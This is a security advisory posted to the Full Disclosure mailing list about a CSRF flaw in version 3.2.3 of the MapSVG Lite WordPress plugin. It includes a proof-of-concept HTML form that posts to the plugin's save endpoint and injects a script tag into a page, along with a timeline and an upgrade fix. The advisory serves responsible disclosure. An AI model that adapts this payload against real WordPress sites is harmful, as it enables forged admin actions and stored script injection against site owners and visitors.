full-disclosure - [FD] CSRF in MapSVG Lite could allow an attacker to do almost anything an admin can (WordPress plugin)

Open Source and information security mailing list archives

Message-ID: <a0b728f992d9f77bea2c9ce989f7d6a7@advisories.dxw.com>
Date: Tue, 8 Jan 2019 10:03:04 +0000
From: dxw Security <harry@....com>
To: fulldisclosure@...lists.org
Subject: [FD] CSRF in MapSVG Lite could allow an attacker to do almost
	anything an admin can (WordPress plugin)

Details
================
Software: MapSVG Lite
Version: 3.2.3
Homepage: https://en-gb.wordpress.org/plugins/mapsvg-lite-interactive-vector-maps/
Advisory report: https://advisories.dxw.com/advisories/csrf-mapsvg-lite/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

Description
================
CSRF in MapSVG Lite could allow an attacker to do almost anything an admin can

Vulnerability
================
The plugin uses REST requests to modify post data, and does not check the nonce when doing so.

Proof of concept
================

Install the plugin on a site at http://localhost/
Ensure you have page with ID of 2.
Whilst logged in, visit an html page with this content and submit the form:

<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php?action=mapsvg_save\">
 <input type=\"text\" name=\"data[title]\" value=\"A bad value\">
 <input type=\"text\" name=\"data[mapsvg_data]\" value=\"<script>alert(\'hello\')</script>\">
 <input type=\"text\" name=\"data[map_id]\" value=\"2\">
 <input type=\"submit\">
</form>

Visit the page with ID of 2. It now has title of “A bad value” and alerts “hello” on loading.

Mitigations
================
Upgrade to version 3.3.0 or above.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://advisories.dxw.com/disclosure/

Please contact us on security@....com to acknowledge this report if you received it via a third party (for example, plugins@...dpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2018-04-10: Discovered
2018-06-15: Author notified via email
2018-06-15: Author replied, fix to be published in next release
2019-01-08: Advisory published

Discovered by dxw:
================
Rob Skilling
Please visit advisories.dxw.com for more information.

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives